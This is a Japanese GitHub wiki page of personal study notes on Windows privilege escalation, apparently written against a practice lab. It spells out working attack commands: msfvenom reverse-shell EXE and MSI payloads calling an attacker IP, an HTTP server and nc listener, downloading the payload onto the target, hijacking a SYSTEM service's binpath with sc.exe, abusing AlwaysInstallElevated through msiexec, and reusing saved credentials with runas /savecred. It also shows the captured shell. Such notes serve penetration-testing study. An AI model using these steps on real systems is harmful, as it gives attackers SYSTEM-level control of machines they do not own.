winPrev - yokohama/oreshic-record GitHub Wiki
- linuxのwhich
get-command xxxxx- サービスの一覧。これだけだとあまり意味がないので、後の
get-wmiobject win32_serviceを使用した方がいい。
sc.exe - 特定サービスの設定の確認
sc.exeは、windowsサービスを管理・操作するもの。Powershellで、scを実行すると、 Powershellのset contentが起動されるので、必ず、.exeをつける。qcは、query config。
sc.exe qc xxxxxxx- サービス一覧。(get-wmiobject win32_service)を使用して細かくクエリーを投げる。
get-wmiobject win32_service | {ここにクエリー} | select ここに取得したい項目- get-wmiobject win32_serviceにどのような項目があるのか?
get-wmiobject win32_service | get-member -membertype property
Name MemberType Definition
---- ---------- ----------
AcceptPause Property bool AcceptPause {get;set;}
AcceptStop Property bool AcceptStop {get;set;}
Caption Property string Caption {get;set;}
(省略・・・)
- 取得したい項目を指定
get-wmiobject win32_service | select Name, StartName, PathName
name pathname
---- --------
AJRouter C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
ALG C:\Windows\System32\alg.exe
(省略・・・)AttackPC: ペイロード作成
msfvenom -p Windows/x64/shell_reverse_tcp lhost=10.10.10.10 lport=443 -f exe -o reverse.exe
AttackPC: webサーバー起動
/usr/bin/python3 -m http.server 80
AttackPC: 待受けポート開放
nc -lvpn 443
listening on [any] 443 ...
TargetPC: ペイロードダウンロード
Invoke-WebRequest http://10.10.10.10/reverse.exe -OutFile reverse.exeTargetPC: 実行
./reverse.exe
AttackPC: シェル獲得
connect to [10.10.10.10] from (UNKNOWN) [10.49.181.24] 49918
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\PrivEsc>
- PrivEscで、意味のあるサービス一覧の見方
- PrivEsc で「意味がある」サービス一覧を取得
全部のサービスを見ても意味はない。
-
見るべきポイント
- LocalSystem で動く
- ImagePath が怪しい(Program Files 以外など)
- 手動起動できる
-
PowerShell で条件付き一覧
PS> Get-WmiObject Win32_Service |
Where-Object {
$_.StartName -eq "LocalSystem"
} |
Select-Object Name, StartMode, StartName, PathName- 「怪しいパス」だけ抽出する
C:\PrivEsc\reverse.exe のようなものが引っかかる
Get-WmiObject Win32_Service |
Where-Object {
$_.StartName -eq "LocalSystem" -and
$_.PathName -notmatch "Windows|System32"
} |
Select Name, PathName
Name PathName
---- --------
AmazonSSMAgent "C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"
AWSLiteAgent C:\Program Files\Amazon\XenTools\LiteAgent.exe
daclsvc "C:\Program Files\DACL Service\daclservice.exe"
dllsvc "C:\Program Files\DLL Hijack Service\dllhijackservice.exe"
filepermsvc "C:\Program Files\File Permissions Service\filepermservice.exe"
regsvc "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe"
unquotedsvc C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
winexesvc winexesvc.exe- accesschk と組み合わせる流れ
- 一覧で怪しいサービスを見つける
- 1個ずつ深掘りする
PS> sc.exe qc daclsvc
SERVICE_NAME: daclsvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\DACL Service\daclservice.exe" #実行ファイル
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : DACL Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem #SYSTEM権限で起動される- daclsvcというサービスに、自分自身にはどんな権限がついているか?
- もしかして実行ファイルのパスの設定を変えられたりしないか?
- startさせる権限もあったりしないか?
PS> accesschk.exe -wuvc user daclsvc- 変えられる場合、変えてしまう。実行できるなら実行してしまう。
sc.exe config daclsvc binpath="\C:\temp\reverse.exe"
net.exe start daclsvc- これがみつかっても、そのパスへの書き込み権限、及びこのサービスの起動の権限が必要
get-wmiobject win32_service | where-object { $_.pathname -match '^[^"]*?\s[^*]*?\.exe\b' } | select name, pathname
name pathname
---- --------
AWSLiteAgent C:\Program Files\Amazon\XenTools\LiteAgent.exe
unquotedsvc C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe- サービスの調査
以下のポイントでチェック
- LocalSystem で動く
- ImagePath が怪しい(Program Files 以外など)
- 手動起動できる
- パスが怪しい
PS C:\PrivEsc> get-wmiobject win32_service | where-object { $_.startname -eq "LocalSystem" -and $_.PathName -notmatch "Windows|Sytem32"} | select-object Name, StartMode, StartName, PathName
Name StartMode StartName PathName
---- --------- --------- --------
AmazonSSMAgent Auto LocalSystem "C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"
AWSLiteAgent Auto LocalSystem C:\Program Files\Amazon\XenTools\LiteAgent.exe
daclsvc Manual LocalSystem "C:\Program Files\DACL Service\daclservice.exe"
dllsvc Manual LocalSystem "C:\Program Files\DLL Hijack Service\dllhijackservice.exe"
filepermsvc Manual LocalSystem "C:\Program Files\File Permissions Service\filepermservice.exe"
regsvc Manual LocalSystem "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe"
unquotedsvc Manual LocalSystem C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
winexesvc Manual LocalSystem winexesvc.exe- 各サービスに対する自分の権限チェック
Sysinternalsの、accesschk.exeを使用。SERVICE_CHANGE_COUNFIG などserviceの設定変更に権限がある。この場合PrivEscに利用できる。
PS> .\accesschk.exe /accepteula -cvquw ユーザー名 daclsvc
RW daclsvc
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_STOP
READ_CONTROL- query configで設定の状況をみてみる。
PS> sc.exe qc daclsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: daclsvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\DACL Service\daclservice.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : DACL Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem- 起動ファイルを書き換えて実行する。
BINARY_PATH_NAME の値を書き換えて(先ほど編集権限がついてた)、手動でサービスを起動(同じくSTART権限もついてた)する。
実行するファイルは、AttackPCに接続するペイロード。
PS> sc.exe config daclsvc binpath="C:\PrivEsc\reverse.exe"
PS> net.exe start daclsvc- サービス一覧
PS1> Get-WmiObject Win32_Service |
Where-Object {
$_.StartName -eq "LocalSystem" -and
$_.PathName -notmatch "Windows|System32"
} |
Select Name, PathName
Name PathName
---- --------
AmazonSSMAgent "C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"
AWSLiteAgent C:\Program Files\Amazon\XenTools\LiteAgent.exe
daclsvc "C:\Program Files\DACL Service\daclservice.exe"
dllsvc "C:\Program Files\DLL Hijack Service\dllhijackservice.exe"
filepermsvc "C:\Program Files\File Permissions Service\filepermservice.exe"
regsvc "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe"
unquotedsvc C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
winexesvc winexesvc.exe- 以下がクォートされていない
AWSLiteAgent C:\Program Files\Amazon\XenTools\LiteAgent.exe
unquotedsvc C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe- 空白が存在するパスの親ディレクトリへの書き込み権限はあるか?
accesschkでの検証だと、ACLのチェックしかしない。しかし実際は、ACL以外にもUACや他の機構も関連している。なので、これだけでは判断が無理。
./accesschk.exe -uvq "C:"結局、echoで試すのが確実。以下のようにディレクトリを指定して、そこにhoge.txtが作成できたらナイス!
echo hoge > "C:\hoge.txt"icacls もお勧め。末尾の、\があるとうまく判定できないので注意。
F=Full M=Modify W=Write RX=読み、実行 DENY=明示拒否
icacls "C:"regsvc というサービスに付与されている権限を見る
PS> ./sc.exe sdshow regsvc
D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)
(A;;CCLCSWRPWPLORC;;;WD)D: = DACL(アクセス制御リスト)
-
各行の見方
-
項目 (AceType;AceFlags;Rights;ObjectGUID;InheritObjectGUID;SID)
-
意味 (制御;制御フラグ;権限;対象オブジェクトGUID;継承対象GUID;誰に)
-
AceType(制御)
| Flag | 意味 | PrivEsc |
|---|---|---|
| A | Allow | ★ |
| D | Deny | |
| AU | Audit(監査) |
- Rights(権限)
| Flag | 名前 | 意味 | PrivEsc |
|---|---|---|---|
| GA | GENERIC_ALL | ||
| GR | GENERIC_READ | ||
| GW | GENERIC_WRITE | ||
| GX | GENERIC_EXECUTE | ||
| RC | READ_CONTROL | ||
| SD | DELETE | ★ | |
| WD | WRITE_DAC | DACL/権限変更 | ★ |
| WO | WRITE_OWNER | 所有者変更 | ★ |
| RP | SERVICE_START | 開始 | ★ |
| WP | SERVICE_STOP | 停止 | ★ |
| CC | SERVICE_QUERY_CONFIG | 設定の参照 | |
| DC | SERVICE_CHANGE_CONFIG | 設定の変更 | ★ |
| LC | SERVICE_QUERY_STATUS | 状態参照 | |
| SW | SERVICE_ENUMERATE_DEPENDENTS | 依存関係列挙 | |
| LO | SERVICE_INTERROGATE | 問い合わせ | |
| DT | SERVICE_PAUSE_CONTINUE | 一時停止/再開 | |
| CR | SERVICE_USER_DEFINED_CONTROL | ユーザー定義制御 |
- SID(誰に)
| Flag | 名前 | 意味 | PrivEsc |
|---|---|---|---|
| SY | NT AUTHORITY\SYSTEM | OS自身(最高権限) | |
| BA | BUILTIN\Administrators | 管理者 | |
| WD | Everyone | 全員 | ★ |
| BU | BUILTIN\Users | ローカル一般ユーザー | ★ |
| IU | INTERACTIVE | ログイン中ユーザ | ★ |
| AU | Authenticated Users | 認証済ユーザー | ★ |
先に自分が誰でがどのグループに所属していて、グループの権限がどうなっているかを確認しておくとよい。
PS> whoami /all
PS> whoami /groupsPS> icacls.exe "C:\Program Files\autorun program"C:\Program Files\autorun program NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,
GE)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(
CI)(IO)(GR,GE)
Successfully processed 1 files; Failed processing 0 files| Flag | 意味 |
|---|---|
| F | フルコントロール |
| RX | 読み取り+実行 |
| R | 読み取り |
| W | 書き込み |
| M | 変更 |
| GR | 読めるが実行できない |
| GE | 実行できるが読めない |
PS C:\privesc> reg query hkcu\software\policies\microsoft\windows\installer
HKEY_CURRENT_USER\software\policies\microsoft\windows\installer
AlwaysInstallElevated REG_DWORD 0x1
PS C:\privesc> reg query hklm\software\policies\microsoft\windows\installer
HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\installer
AlwaysInstallElevated REG_DWORD 0x1
DisableMSI REG_DWORD 0x0- 何を見ているのか?
これは、windows installer(msiexec)の実行ポリシーの設定を見ている。
HKCU: カレントユーザーのポリシー
HKLM: マシン全体のポリシー
上記のように、
AlwaysInstallElevated両方が1の場合、MSIパッケージは、実行ユーザーが一般ユーザーでもSYSTEM権限で実行される。
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.128.175 lport=443 -f msi -o reverse.msipython -m http.server 80invoke-webrequest http://192.168.128.175/reverse.msi -outfile reverse.msimsiexec.exe により、reverse.msi をインストールして、リバースシェル獲得。
-
.msiとはなにか? Windows Installerパッケージで、実行ファイルではない。 Windowsにソフトウェアをインストールする際に、msiexec.exeにより、.msiの中身が実行される。msiexec.exe /i app.msi // インストール msiexec.exe /x app.msi // アンインストール msiexec.exe /qn /quiet /i app.msi // GUI無、無人インストール
msiexec.exe /quiet /qn /i C:\privesc\reverse.msireverse.msi のパスのしては、./reverse.msi などのpowershell表記では失敗する。\ を使用したcmd表記でないと、msiexec.exe は理解できない。
cmdkey /list は Windows Credential Manager に保存された資格情報を一覧表示するコマンドです。
何が保存されるか?
- リモートデスクトップ接続時に「資格情報を記憶する」をチェックした認証情報
- ネットワーク共有へのアクセス時に保存したパスワード
-
runas /savecredで保存された認証情報 - アプリケーションが保存したトークンやパスワード
cmdkey.exe /list
Currently stored credentials:
Target: WindowsLive:target=virtualapp/didlogical
Type: Generic
User: 02nfpgrklkitqatu
Local machine persistence
Target: Domain:interactive=WIN-QBA94KB3IOF\admin
Type: Domain Password
User: WIN-QBA94KB3IOF\admin保存された資格情報を使って、runas コマンドで管理者として実行できる可能性があります。
runas /savecred /usre:admin whoami
Attempting to start whoami as user "WIN-QBA94KB3IOF\admin" ...win,priv